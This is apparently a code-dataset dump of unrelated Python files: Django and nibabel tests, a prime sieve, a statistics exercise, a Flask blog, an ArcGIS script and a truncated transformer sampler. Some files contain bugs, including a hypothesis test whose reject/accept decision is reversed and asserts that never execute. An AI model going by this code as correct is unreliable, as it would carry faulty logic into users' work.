self.assertTrue(len(StorageManager.storage_models) >= 3)\n\n    def test_get_storage(self):\n        # assert that all three storage locations are returned by the StorageManager\n        self.assertTrue(len(StorageManager.get_storage(self.repo)) == 3)\n\n    def test_get_storage_only_enabled(self):\n        # assert that only two storage locations are returned by the StorageManager\n        self.assertTrue(len(StorageManager.get_storage(self.repo, onlyEnabled=True)) == 2)\n\n    @override_settings(\n        DEFAULT_REPO_STORAGE=[(os.path.join(settings.MEDIA_ROOT, 'repos'), '/repos/')])\n    def test_get_default_storage(self):\n        self.assertTrue(len(StorageManager.get_default_storage(self.repo)) == 1)\n\n    def test_get_default_storage_without_any_defined(self):\n        self.assertTrue(len(StorageManager.get_default_storage(self.repo)) == 0)\n\n    def test_add_to_config(self):\n        # get config from repo and assert that it doesn't contain storage mirrors\n        config = self.repo.get_config()\n        self.assertFalse('mirrors' in config)\n\n        # add existing storage mirrors to config\n        StorageManager.add_to_config(self.repo, config)\n\n        # assert that we now have all the storage mirrors in the config\n        self.assertTrue('mirrors' in config)\n        self.assertTrue(len(config['mirrors']) == 3)\n        self.assertTrue('https://s3.amazonaws.com/s3_bucket/fdroid/repo' in config['mirrors'])\n        self.assertTrue('ssh_url' in config['mirrors'])\n        self.assertTrue('git_url/repo' in config['mirrors'])\n\n\n@override_settings(DEFAULT_REPO_STORAGE=[(os.path.join(settings.MEDIA_ROOT, 'repos'), '/repos/')])\nclass DefaultStorageTestCase(TestCase):\n\n    def setUp(self):\n        self.repo = Repository.objects.create(user=User.objects.create(username='user2'),\n                                              fingerprint='fake_fingerprint')\n\n    @override_settings(DEFAULT_REPO_STORAGE=None)\n    def test_undefined_default_storage(self):\n        self.assertTrue(len(StorageManager.get_storage(self.repo)) == 0)\n\n    def test_returned_by_storage_manager(self):\n        self.assertTrue(len(StorageManager.get_storage(self.repo)) == 1)\n\n    def test_default_flag(self):\n        self.assertTrue(StorageManager.get_storage(self.repo)[0].is_default)\n\n    def test_get_identifier(self):\n        storage = StorageManager.get_storage(self.repo)[0]\n        self.assertEqual('WRK98dKjNKjR5XJy5sjH_Ptuxrs4QgNK', storage.get_identifier())\n\n    @override_settings(SECRET_KEY='test')\n    def test_get_identifier_changes_with_secret_key(self):\n        storage = StorageManager.get_storage(self.repo)[0]\n        self.assertEqual('pOzUwCWqrdFLXmOFHTFmEeReLhNEqiy1', storage.get_identifier())\n\n    def test_get_identifier_changes_with_repo_fingerprint(self):\n        self.repo.fingerprint = 'different_fingerprint'\n        storage = StorageManager.get_storage(self.repo)[0]\n        self.assertEqual('Jhvw3A7Jcu3U_d8Ixq9JkQkJDjXdahLA', storage.get_identifier())\n\n    @override_settings(DEFAULT_REPO_STORAGE=[('repos', 'test/')])\n    def test_get_repo_url(self):\n        storage = StorageManager.get_storage(self.repo)[0]\n        expected_url = 'test/' + storage.get_identifier() + '/' + REPO_DIR\n        self.assertEqual(expected_url, storage.get_repo_url())\n\n    @override_settings(DEFAULT_REPO_STORAGE=[('repos', 'test')])\n    def test_get_repo_url_without_trailing_slash(self):\n        storage = StorageManager.get_storage(self.repo)[0]\n        expected_url = 'test/' + storage.get_identifier() + '/' + REPO_DIR\n        self.assertEqual(expected_url, storage.get_repo_url())\n\n    def test_get_repo_url_without_schema(self):\n        storage = StorageManager.get_storage(self.repo)[0]\n        self.assertTrue(storage.get_repo_url().startswith('https://example.com' + storage.url))\n\n    def test_add_to_config(self):\n        # add storage mirrors to config\n        config = self.repo.get_config()\n        StorageManager.add_to_config(self.repo, config)\n\n        # assert that we now have storage mirror in the config\n        self.assertTrue(len(config['mirrors']) == 1)\n        url = 'https://example.com/repos/WRK98dKjNKjR5XJy5sjH_Ptuxrs4QgNK/repo'\n        self.assertEqual(url, config['mirrors'][0])\n\n    @patch('fdroidserver.update_serverwebroot')\n    def test_publish(self, update_serverwebroot):\n        storage = StorageManager.get_storage(self.repo)[0]\n        storage.publish()\n        local = self.repo.get_repo_path()\n        remote = os.path.join(settings.DEFAULT_REPO_STORAGE[0][0], storage.get_identifier())\n        update_serverwebroot.assert_called_once_with(remote, local)\n","repo_name":"f-droid/repomaker","sub_path":"repomaker/tests/models/test_storage.py","file_name":"test_storage.py","file_ext":"py","file_size_in_byte":8092,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"60"}
+{"seq_id":"74393283392","text":"import numpy as np\nfrom numpy import pi\n\nimport pytest\n\nfrom numpy.testing import assert_array_almost_equal, assert_array_equal\n\nfrom .. import quaternions as nq\nfrom .. import eulerangles as nea\n\n# Example rotations\neg_rots = []\nparams = (-pi, pi, pi / 2)\nzs = np.arange(*params)\nys = np.arange(*params)\nxs = np.arange(*params)\nfor z in zs:\n    for y in ys:\n        for x in xs:\n            eg_rots.append(nea.euler2mat(z, y, x))\n# Example quaternions (from rotations)\neg_quats = []\nfor M in eg_rots:\n    eg_quats.append(nq.mat2quat(M))\n# M, quaternion pairs\neg_pairs = list(zip(eg_rots, eg_quats))\n\n# Set of arbitrary unit quaternions\nunit_quats = set()\nparams = range(-2, 3)\nfor w in params:\n    for x in params:\n        for y in params:\n            for z in params:\n                q = (w, x, y, z)\n                Nq = np.sqrt(np.dot(q, q))\n                if not Nq == 0:\n                    q = tuple([e / Nq for e in q])\n                    unit_quats.add(q)\n\n\ndef test_fillpos():\n    # Takes np array\n    xyz = np.zeros((3,))\n    w, x, y, z = nq.fillpositive(xyz)\n    assert w == 1\n    # Or lists\n    xyz = [0] * 3\n    w, x, y, z = nq.fillpositive(xyz)\n    assert w == 1\n    # Errors with wrong number of values\n    with pytest.raises(ValueError):\n        nq.fillpositive([0, 0])\n    with pytest.raises(ValueError):\n        nq.fillpositive([0] * 4)\n    # Errors with negative w2\n    with pytest.raises(ValueError):\n        nq.fillpositive([1.0] * 3)\n    # Test corner case where w is near zero\n    wxyz = nq.fillpositive([1, 0, 0])\n    assert wxyz[0] == 0.0\n\n\ndef test_conjugate():\n    # Takes sequence\n    cq = nq.conjugate((1, 0, 0, 0))\n    # Returns float type\n    assert cq.dtype.kind == 'f'\n\n\ndef test_quat2mat():\n    # also tested in roundtrip case below\n    M = nq.quat2mat([1, 0, 0, 0])\n    assert_array_almost_equal, M, np.eye(3)\n    M = nq.quat2mat([3, 0, 0, 0])\n    assert_array_almost_equal, M, np.eye(3)\n    M = nq.quat2mat([0, 1, 0, 0])\n    assert_array_almost_equal, M, np.diag([1, -1, -1])\n    M = nq.quat2mat([0, 2, 0, 0])\n    assert_array_almost_equal, M, np.diag([1, -1, -1])\n    M = nq.quat2mat([0, 0, 0, 0])\n    assert_array_almost_equal, M, np.eye(3)\n\n\ndef test_inverse_0():\n    # Takes sequence\n    iq = nq.inverse((1, 0, 0, 0))\n    # Returns float type\n    assert iq.dtype.kind == 'f'\n\n\n@pytest.mark.parametrize(\"M, q\", eg_pairs)\ndef test_inverse_1(M, q):\n    iq = nq.inverse(q)\n    iqM = nq.quat2mat(iq)\n    iM = np.linalg.inv(M)\n    assert np.allclose(iM, iqM)\n\n\ndef test_eye():\n    qi = nq.eye()\n    assert qi.dtype.kind == 'f'\n    assert np.all([1, 0, 0, 0] == qi)\n    assert np.allclose(nq.quat2mat(qi), np.eye(3))\n\n\ndef test_norm():\n    qi = nq.eye()\n    assert nq.norm(qi) == 1\n    assert nq.isunit(qi)\n    qi[1] = 0.2\n    assert not nq.isunit(qi)\n\n\n@pytest.mark.parametrize(\"M1, q1\", eg_pairs[0::4])\n@pytest.mark.parametrize(\"M2, q2\", eg_pairs[1::4])\ndef test_mult(M1, q1, M2, q2):\n    # Test that quaternion * same as matrix *\n    q21 = nq.mult(q2, q1)\n    assert_array_almost_equal, np.dot(M2, M1), nq.quat2mat(q21)\n\n\n@pytest.mark.parametrize(\"M, q\", eg_pairs)\ndef test_inverse(M, q):\n    iq = nq.inverse(q)\n    iqM = nq.quat2mat(iq)\n    iM = np.linalg.inv(M)\n    assert np.allclose(iM, iqM)\n\n\ndef test_eye():\n    qi = nq.eye()\n    assert np.all([1, 0, 0, 0] == qi)\n    assert np.allclose(nq.quat2mat(qi), np.eye(3))\n\n\n@pytest.mark.parametrize(\"vec\", np.eye(3))\n@pytest.mark.parametrize(\"M, q\", eg_pairs)\ndef test_qrotate(vec, M, q):\n    vdash = nq.rotate_vector(vec, q)\n    vM = np.dot(M, vec)\n    assert_array_almost_equal(vdash, vM)\n\n\n@pytest.mark.parametrize(\"q\", unit_quats)\ndef test_quaternion_reconstruction(q):\n    # Test reconstruction of arbitrary unit quaternions\n    M = nq.quat2mat(q)\n    qt = nq.mat2quat(M)\n    # Accept positive or negative match\n    posm = np.allclose(q, qt)\n    negm = np.allclose(q, -qt)\n    assert (posm or negm)\n\n\ndef test_angle_axis2quat():\n    q = nq.angle_axis2quat(0, [1, 0, 0])\n    assert_array_equal(q, [1, 0, 0, 0])\n    q = nq.angle_axis2quat(np.pi, [1, 0, 0])\n    assert_array_almost_equal(q, [0, 1, 0, 0])\n    q = nq.angle_axis2quat(np.pi, [1, 0, 0], True)\n    assert_array_almost_equal(q, [0, 1, 0, 0])\n    q = nq.angle_axis2quat(np.pi, [2, 0, 0], False)\n    assert_array_almost_equal(q, [0, 1, 0, 0])\n\n\ndef test_angle_axis():\n    for M, q in eg_pairs:\n        theta, vec = nq.quat2angle_axis(q)\n        q2 = nq.angle_axis2quat(theta, vec)\n        nq.nearly_equivalent(q, q2)\n        aa_mat = nq.angle_axis2mat(theta, vec)\n        assert_array_almost_equal(aa_mat, M)\n        unit_vec = vec / np.sqrt(vec.dot(vec))\n        aa_mat2 = nq.angle_axis2mat(theta, unit_vec, is_normalized=True)\n        assert_array_almost_equal(aa_mat2, M)\n","repo_name":"A-shazli/Brain_Tumor_seg_GP","sub_path":"GIF/venv/Lib/site-packages/nibabel/tests/test_quaternions.py","file_name":"test_quaternions.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"9408007638","text":"from itertools import compress, repeat\nfrom math import ceil, sqrt\n\n\ndef odd_sieve(num: int) -> list[int]:\n    \"\"\"\n    Returns the prime numbers < `num`. The prime numbers are calculated using an\n    odd sieve implementation of the Sieve of Eratosthenes algorithm\n    (see for reference https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes).\n\n    >>> odd_sieve(2)\n    []\n    >>> odd_sieve(3)\n    [2]\n    >>> odd_sieve(10)\n    [2, 3, 5, 7]\n    >>> odd_sieve(20)\n    [2, 3, 5, 7, 11, 13, 17, 19]\n    \"\"\"\n\n    if num <= 2:\n        return []\n    if num == 3:\n        return [2]\n\n    # Odd sieve for numbers in range [3, num - 1]\n    sieve = bytearray(b\"\\x01\") * ((num >> 1) - 1)\n\n    for i in range(3, int(sqrt(num)) + 1, 2):\n        if sieve[(i >> 1) - 1]:\n            i_squared = i**2\n            sieve[(i_squared >> 1) - 1 :: i] = repeat(\n                0, ceil((num - i_squared) / (i << 1))\n            )\n\n    return [2] + list(compress(range(3, num, 2), sieve))\n\n\nif __name__ == \"__main__\":\n    import doctest\n\n    doctest.testmod()\n","repo_name":"TheAlgorithms/Python","sub_path":"maths/odd_sieve.py","file_name":"odd_sieve.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":173185,"dataset":"github-code","pt":"60"}
+{"seq_id":"8590567585","text":"# --------------\nimport pandas as pd\r\nimport scipy.stats as stats\r\nimport math\r\nimport numpy as np\r\nimport warnings\r\n\r\nwarnings.filterwarnings('ignore')\r\n#Sample_Size\r\nsample_size=2000\r\n\r\n#Z_Critical Score\r\nz_critical = stats.norm.ppf(q = 0.95)  \r\n\r\n\r\n# path        [File location variable]\r\ndata = pd.read_csv(path)\r\n#Code starts here\r\ndata_sample = data.sample(n=sample_size, random_state=0)\r\n#print(data_sample)\r\nsample_mean = data_sample.installment.mean()\r\nprint(sample_mean)\r\nsample_std = data_sample.installment.std()\r\nprint(sample_std)\r\n#finding margin of error\r\nmargin_of_error = z_critical*sample_std/math.sqrt(sample_size)\r\nprint(margin_of_error)\r\n#finding confidence interval\r\nconfidence_interval = (sample_mean-margin_of_error,sample_mean+margin_of_error)\r\nprint(confidence_interval)\r\n#storing true mean value of installment column\r\ntrue_mean = data.installment.mean()\r\nprint(true_mean)\n\n\n# --------------\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n#Different sample sizes to take\r\nsample_size=np.array([20,50,100])\r\n\r\n#Code starts here\r\nfig,axes = plt.subplots(nrows = 3,ncols= 1)\r\n\r\nfor i in range (len(sample_size)):\r\n    m = []\r\n    for j in range(1000):\r\n        sampled_data = data['installment'].sample(n=sample_size[i])\r\n        sample_mean = sampled_data.mean()\r\n        m.append(sample_mean)\r\n    mean_series = pd.Series(m)\r\n    axes[i].hist(mean_series)\n\n\n# --------------\n#Importing header files\r\n\r\nfrom statsmodels.stats.weightstats import ztest\r\n\r\n#Code starts here\r\ndata['int.rate'] = data['int.rate'].str.replace(r'%','')\r\ndata['int.rate'] = pd.to_numeric(data['int.rate'])\r\ndata['int.rate'] = data['int.rate']/100\r\nx1 = data[data['purpose']=='small_business']['int.rate']\r\nvalue = data['int.rate'].mean()\r\nz_statistic,p_value = ztest(x1=x1,value=value,alternative='larger')\r\nprint('z-statistic =',z_statistic)\r\nprint('P-Values =',p_value)\r\nif p_value > 0.05:\r\n    inference = 'Reject'\r\nelse:\r\n    inference = 'Accept'\r\n\r\nprint(inference)\n\n\n# --------------\n#Importing header files\r\nfrom statsmodels.stats.weightstats import ztest\r\n\r\n#Code starts here\r\nz_statistic,p_value = ztest(x1=data[data['paid.back.loan']=='No']['installment'],x2=data[data['paid.back.loan']=='Yes']['installment'])\r\nprint('Z-Statistic =',z_statistic)\r\nprint('P-Value =',p_value)\r\nif p_value>0.05:\r\n    print('Accept the Null Hypothessis')\r\nelse:\r\n    print('Reject the Null Hypothessis')\n\n\n# --------------\n#Importing header files\r\nfrom scipy.stats import chi2_contingency\r\n\r\n#Critical value \r\ncritical_value = stats.chi2.ppf(q = 0.95, # Find the critical value for 95% confidence*\r\n                      df = 6)   # Df = number of variable categories(in purpose) - 1\r\n\r\n#Code starts here\r\nyes = data[data['paid.back.loan']=='Yes']['purpose'].value_counts()\r\nno = data[data['paid.back.loan']=='No']['purpose'].value_counts()\r\nobserved = pd.concat([yes.transpose(),no.transpose()],1,keys=['Yes','No'])\r\n\r\nchi2, p, dof, ex = chi2_contingency(observed)\r\n\r\nif chi2 > critical_value:\r\n    print('Null Hypothesis is Rejected due to the two distribution are same.  ')\r\nelse:\r\n    print('Null Hypothesis cannot be rejected.')\n\n\n","repo_name":"ashwin2401/ga-learner-dsmp-repo","sub_path":"Banking-Inferences/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30843872418","text":"# 첫째 줄에 노트북의 세로와 가로 길이를 나타내는 N(1 ≤ N ≤ 40)과 M(1 ≤ M ≤ 40), \n# 그리고 스티커의 개수 K(1 ≤ K ≤ 100)이 한 칸의 빈칸을 사이에 두고 주어진다.\n\n# 그 다음 줄부터는 K개의 스티커들에 대한 정보가 주어진다. \n# 각 스티커는 아래와 같은 형식으로 주어진다.\n\n# 먼저 i번째 스티커가 인쇄된 모눈종이의 행의 개수와 열의 개수를 나타내는 Ri(1 ≤ Ri ≤ 10)와 Ci(1 ≤ Ci ≤ 10)가 한 칸의 빈칸을 사이에 두고 주어진다.\n\n# 다음 Ri개의 줄에는 각 줄마다 모눈종이의 각 행을 나타내는 Ci개의 정수가 한 개의 빈칸을 사이에 두고 주어진다. \n# 각 칸에 들어가는 값은 0, 1이다. 0은 스티커가 붙지 않은 칸을, 1은 스티커가 붙은 칸을 의미한다.\n\n# 문제에서 설명한 것과 같이 스티커는 모두 올바른 모눈종이에 인쇄되어 있다. \n# 구체적으로 스티커의 각 칸은 상하좌우로 모두 연결되어 있고, \n# 모눈종이의 크기는 스티커의 크기에 꼭 맞아서 상하좌우에 스티커에 전혀 포함되지 않는 불필요한 행이나 열이 존재하지 않는다.\n\nimport sys\nfrom collections import deque\nn,m,k = map(int,sys.stdin.readline().split())\n\nqueue = deque()\n\n\nfor i in range(k):\n    li = []\n    x,y = map(int,sys.stdin.readline().split())\n    for j in range(x):\n        li.append(list(map(int,sys.stdin.readline().split())))\n    queue.append((x,y,li))\n\n\ngraph = [[0 for a in range(m)]for b in range(n)]\n\n\n\n    \n\ndef che(x,y,qu,graph,check):\n    for i in range(n):\n        for j in range(m):\n            if i+x-1 >= n or j+y-1 >= m:\n                continue\n            ch = []\n            check = 0\n            for a in range(x):\n                for b in range(y):\n                    if qu[a][b] == 1:\n                        if graph[i+a][j+b] == 0:\n                            ch.append((i+a,j+b))\n                        else:\n                            check = 1\n                            break\n                    if a == x-1 and b == y-1 and check == 0:\n                        while ch:\n                            n1,n2 = ch.pop()\n                            graph[n1][n2] = 1\n                        return x,y,qu,graph,check\n                if check == 1:\n                    break\n\n                \ndef mv(x,y,qu):\n    qu1 = [[0 for a in range(x)] for b in range(y)]\n    for i in range(x):\n        for j in range(y):\n            if qu[i][j] == 1:\n                qu1[j][x-i-1] = 1\n    \n    return y,x,qu1\n                \n\nwhile queue:\n    x,y,qu = queue.popleft()\n    check = 0\n    for move in range(4):\n        k = che(x,y,qu,graph,check)\n        if k:\n            x,y,qu,graph,check = k\n            break\n        x,y,qu = mv(x,y,qu)\n\nans = 0\nfor i in range(n):\n    for j in range(m):\n        if graph[i][j] == 1:\n            ans +=1\n\nprint(ans)\n\n","repo_name":"kysuk05/BJO_algo","sub_path":"시뮬레이션/BJO18808(G3).py","file_name":"BJO18808(G3).py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10330960090","text":"# Imports for App\nfrom flask import render_template, request, redirect, url_for, flash\nfrom flask_login import login_user, logout_user, login_required, current_user\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom camo_code import app, db\nfrom camo_code.models import User, Post, Comment, Profile\nfrom camo_code.forms import LoginForm, RegistrationForm, UpdateProfileForm\nfrom camo_code.forms import ProfileForm, PostForm, CommentForm\nfrom datetime import datetime\nimport logging\n\n\n# Route for Home\n@app.route(\"/\")\ndef home():\n    posts = Post.query.order_by(Post.timestamp.desc()).all()\n    return render_template(\"home.html\", posts=posts)\n\n\n# Route for Profile\n@app.route(\"/profile\")\n@login_required\ndef profile():\n    return render_template(\"profile.html\", current_user=current_user)\n\n\n# Route for Update Profile\n@app.route(\"/update_profile\", methods=[\"GET\", \"POST\"])\n@login_required\ndef update_profile():\n    form = ProfileForm()\n    if form.validate_on_submit():\n        if current_user.profile:\n            current_user.profile.first_name = form.first_name.data\n            current_user.profile.last_name = form.last_name.data\n            current_user.username = form.username.data\n            current_user.email = form.email.data\n            current_user.profile.bio = form.bio.data\n            current_user.profile.location = form.location.data\n        else:\n            profile = Profile(first_name=form.first_name.data,\n                              last_name=form.last_name.data,\n                              user_id=current_user.id,\n                              bio=form.bio.data,\n                              location=form.location.data)\n            current_user.username = form.username.data\n            db.session.add(profile)\n        db.session.commit()\n        flash(\"Your profile has been updated!\")\n        return redirect(url_for(\"profile\", username=current_user.username))\n    elif request.method == \"GET\":\n        form.username.data = current_user.username\n        form.email.data = current_user.email\n        profile = Profile.query.filter_by(user_id=current_user.id).first()\n        if profile:\n            form.first_name.data = profile.first_name\n            form.last_name.data = profile.last_name\n            form.email.data = current_user.email\n            form.bio.data = profile.bio\n            form.location.data = profile.location\n    return render_template(\n        \"update_profile.html\", title=\"Update Profile\", form=form)\n\n\n# Route for Delete Profile\n@app.route(\"/delete_profile\", methods=[\"POST\"])\n@login_required\ndef delete_profile():\n    if current_user.profile:\n        db.session.delete(current_user.profile)\n        db.session.commit()\n    logout_user()\n    flash('Your profile has been deleted.')\n    return redirect(url_for('home'))\n\n\n# Route for LogIn\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n    if current_user.is_authenticated:\n        return redirect(url_for(\"home\"))\n    form = LoginForm()\n    if form.validate_on_submit():\n        user = User.query.filter_by(username=form.username.data).first()\n        if user is None or not user.check_password(form.password.data):\n            flash(\"Invalid email or password\")\n            return redirect(url_for(\"login\"))\n        login_user(user, remember=form.remember_me.data)\n        return redirect(url_for(\"home\"))\n    return render_template(\"login.html\", title=\"Sign In\", form=form)\n\n\n# Route for LogOut\n@app.route(\"/logout\")\ndef logout():\n    logout_user()\n    return redirect(url_for(\"home\"))\n\n\n# Route for Register\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n    if current_user.is_authenticated:\n        return redirect(url_for(\"home\"))\n    form = RegistrationForm()\n    if form.validate_on_submit():\n        user = User(username=form.username.data, email=form.email.data)\n        user.set_password(form.password.data)\n        db.session.add(user)\n        db.session.commit()\n        flash(\"Congratulations, you are now a registered user!\")\n        return redirect(url_for(\"home\"))\n    return render_template(\"register.html\", title=\"Register\", form=form)\n\n\n# Route for User\n@app.route(\"/user/<username>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef user(username):\n    user = User.query.filter_by(username=username).first_or_404()\n    form = UpdateProfileForm()\n    if form.validate_on_submit():\n        user.username = form.username.data\n        db.session.commit()\n        flash(\"Your profile has been updated.\")\n        return redirect(url_for(\"user\", username=user.username))\n    elif request.method == \"GET\":\n        form.username.data = user.username\n        form.about_me.data = user.about_me\n    return render_template(\"user.html\", user=user, form=form)\n\n\n# Route for New Post\n@app.route(\"/post/new\", methods=[\"GET\", \"POST\"])\n@login_required\ndef new_post():\n    form = PostForm()\n    if form.validate_on_submit():\n        post = Post(code_snippet_language=form.code_snippet_language.data,\n                    title=form.title.data,\n                    body=form.body.data,\n                    code_snippet=form.code_snippet.data,\n                    timestamp=datetime.utcnow(),\n                    user_id=current_user.id)\n        db.session.add(post)\n        db.session.commit()\n        flash(\"Your post has been created!\")\n        return redirect(url_for(\"home\"))\n    return render_template(\"new_post.html\", form=form)\n\n\n# Route for Post\n@app.route(\"/post/<int:post_id>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef post(post_id):\n    post = Post.query.get_or_404(post_id)\n    form = CommentForm()\n    if form.validate_on_submit():\n        comment = Comment(body=form.body.data, post=post, user=current_user)\n        db.session.add(comment)\n        db.session.commit()\n        flash(\"Your comment has been added!\")\n        return redirect(url_for(\"post\", post_id=post.id))\n    comments = Comment.query.filter_by(post_id=post_id).all()\n    return render_template(\n        \"post.html\", title=post.title, post=post, form=form, comments=comments)\n\n\n# Route for Update Post\n@app.route(\"/post/<int:post_id>/update\", methods=[\"GET\", \"POST\"])\n@login_required\ndef update_post(post_id):\n    post = Post.query.get_or_404(post_id)\n    form = PostForm(obj=post)\n    if form.validate_on_submit():\n        post.title = form.title.data\n        post.body = form.body.data\n        post.code_snippet = form.code_snippet.data\n        code_snippet_language = form.code_snippet_language.data\n        db.session.commit()\n        flash(\"Your post has been updated!\")\n        return redirect(url_for(\"post\", post_id=post.id))\n    elif request.method == \"GET\":\n        form.title.data = post.title\n        form.body.data = post.body\n        form.code_snippet.data = post.code_snippet or ''\n        form.code_snippet_language.data = post.code_snippet_language\n\n    return render_template(\n        \"update_post.html\", title=\"Update Post\", post=post, form=form)\n\n\n# Route for Delete Post\n@app.route(\"/post/<int:post_id>/delete\", methods=[\"GET\", \"POST\"])\n@login_required\ndef delete_post(post_id):\n    post = Post.query.get_or_404(post_id)\n    if post.author != current_user:\n        flash(\"You do not have permission to delete this post.\")\n        return redirect(url_for(\"post\", post_id=post.id))\n    db.session.delete(post)\n    db.session.commit()\n    flash(\"Your post has been deleted.\")\n    return redirect(url_for(\"home\"))\n\n\n# Route for Comment\n@app.route(\"/post/<int:post_id>/comment\", methods=[\"GET\", \"POST\"])\n@login_required\ndef comment(post_id):\n    form = CommentForm()\n    post = Post.query.get_or_404(post_id)\n    if request.method == 'POST':\n        comment = Comment(\n            body=form.body.data,\n            code_snippet=form.code_snippet.data,\n            code_snippet_language=form.code_snippet_language.data,\n            post_id=post.id\n                          )\n        db.session.add(comment)\n        db.session.commit()\n        flash('Your comment has been added.')\n        return redirect(url_for('post', post_id=post_id))\n    return render_template(\n        'comment.html', title='Add Comment', form=form, post=post)\n","repo_name":"CHRISHA1122/milestone-project-3","sub_path":"camo_code/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3184458441","text":"# Extracts various tags from the comment field by looking for keywords.\n\n# import system modules\nimport arcpy, sys\nfrom arcpy import env\n\n# Searches the comment field for field name + \":\" and if found, adds a new field with the given name\n# and value containing the comment content until the next comma. For this works best with comment fields formatted as such:\n# \"field1: value, field2: value, field3: value\"\ndef tryFindField(name, comment):\n    name = name.lower()\n    if comment and name + ':' in comment.lower():\n        arcpy.AddField_management(feature, name, \"TEXT\", field_length = 50)\n        start = comment.lower().find(name + \":\");\n        end = comment.find(\",\", start);\n\n        if end == -1:\n            value = comment[start + 5:]\n        else:\n            value = comment[start + 5: end if end < len(comment) else len(comment)]\n\n        cursor.updateRow(row)\n        row.setValue(name, value)\n\n\narcpy.OverWriteOutput = True\n\n# Takes a feature class as input\nfeature = arcpy.GetParameterAsText(0)\n\n# Input: additional tag names to search for in comment fields\ntagNames = arcpy.GetParameterAsText(1)\n\n# Examine row comment fields\ncursor = arcpy.UpdateCursor(feature)\nrow = cursor.next()\nwhile row:\n    comment = row.getValue(\"comment\")\n\n    # Search for name value\n    tryFindField(\"name\", comment)\n\n    # Search additional tag names provided\n    if tagNames:\n        for tag in tagNames.split(\",\"):\n            tryFindField(tag)\n\n    row = cursor.next()\n\ndel row, cursor\n\n# Examine existing field names\ndesc = arcpy.Describe(feature)\nfor field in desc.fields:\n    if \"business\" in field.name:\n        # General shop field will mark features appropriately\n        arcpy.AddField_management(feature, \"shop\", \"TEXT\", field_length = 50)\n\n    if \"facility\" in field.name:\n        # General social_facility field will mark features appropriately\n        arcpy.AddField_management(feature, \"amenity\", \"TEXT\", field_length = 50)\n        cursor = arcpy.UpdateCursor(feature)\n        row = cursor.next()\n        while row:\n            row.setValue(\"amenity\", \"social_facility\")\n            cursor.updateRow(row)\n            row = cursor.next()\n        del row, cursor\n\nif desc.shapeType == \"Polyline\":\n    # Add generic route tag to all lines\n    arcpy.AddField_management(feature, \"route\", \"TEXT\", field_length = 50)\n\n\n# Set output param true to indicate done\narcpy.SetParameterAsText(2, True)\n","repo_name":"kwm4385/ArcGIS_collector2OSM","sub_path":"extractTags.py","file_name":"extractTags.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5594773836","text":"import os\nimport time\n\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\nfrom functools import partial\n\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\n\nfrom flax.metrics import tensorboard\nfrom flax.training import checkpoints\n\nimport utils.data_utils as data_utils\nimport utils.train_utils as train_utils\nimport utils.losses as losses\nimport utils.metrics as metrics\nimport train_transformer\nimport input_pipeline\n\nfrom tensorflow_probability.substrates import jax as tfp\ntfd = tfp.distributions\n\nFLAGS = flags.FLAGS\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\nflags.DEFINE_integer('sample_seed', 1,\n                     'Random number generator seed for sampling.')\nflags.DEFINE_string('sampling_dir', 'sample', 'Sampling directory.')\nflags.DEFINE_integer('sample_size', 1000, 'Number of samples.')\nflags.DEFINE_boolean('flush', True, 'Flush generated samples to disk.')\n\n\ndef sample(num_samples=2400, steps=32, embedding_dims=42, rng_seed=1,\n           real=None):\n  \"\"\"Generate samples using autoregressive decoding.\n  \n  Args:\n    num_samples: The number of samples to generate.\n    steps: Number of sampling steps.\n    embedding_dims: Number of dimensions per embedding.\n    rng_seed: Initialization seed.\n \n  Returns:\n    generated: An array of generated samples.\n  \"\"\"\n  rng = jax.random.PRNGKey(rng_seed)\n  rng, model_rng = jax.random.split(rng)\n\n  # Create a model with dummy parameters and a dummy optimizer\n  lm_kwargs = {\n      'num_layers': FLAGS.num_layers,\n      'num_heads': FLAGS.num_heads,\n      'mdn_mixtures': FLAGS.mdn_components,\n      'num_mlp_layers': FLAGS.num_mlp_layers,\n      'mlp_dims': FLAGS.mlp_dims\n  }\n  model = train_transformer.create_model(model_rng, (steps, embedding_dims),\n                                         lm_kwargs,\n                                         batch_size=1,\n                                         verbose=True)\n  optimizer = train_transformer.create_optimizer(model, 0)\n  early_stop = train_utils.EarlyStopping()\n\n  # Load learned parameters\n  optimizer, early_stop = checkpoints.restore_checkpoint(\n      FLAGS.model_dir, (optimizer, early_stop))\n\n  # Autoregressive decoding\n  t0 = time.time()\n  tokens = jnp.zeros((num_samples, steps, embedding_dims))\n\n  for i in range(steps):\n    pi, mu, log_sigma = optimizer.target(tokens, shift=False)\n\n    channels = tokens.shape[-1]\n    mdn_k = pi.shape[-1]\n    out_pi = pi.reshape(-1, mdn_k)\n    out_mu = mu.reshape(-1, channels * mdn_k)\n    out_log_sigma = log_sigma.reshape(-1, channels * mdn_k)\n    mix_dist = tfd.Categorical(logits=out_pi)\n    mus = out_mu.reshape(-1, mdn_k, channels)\n    log_sigmas = out_log_sigma.reshape(-1, mdn_k, channels)\n    sigmas = jnp.exp(log_sigmas)\n    component_dist = tfd.MultivariateNormalDiag(loc=mus, scale_diag=sigmas)\n    mixture = tfd.MixtureSameFamily(mixture_distribution=mix_dist,\n                                    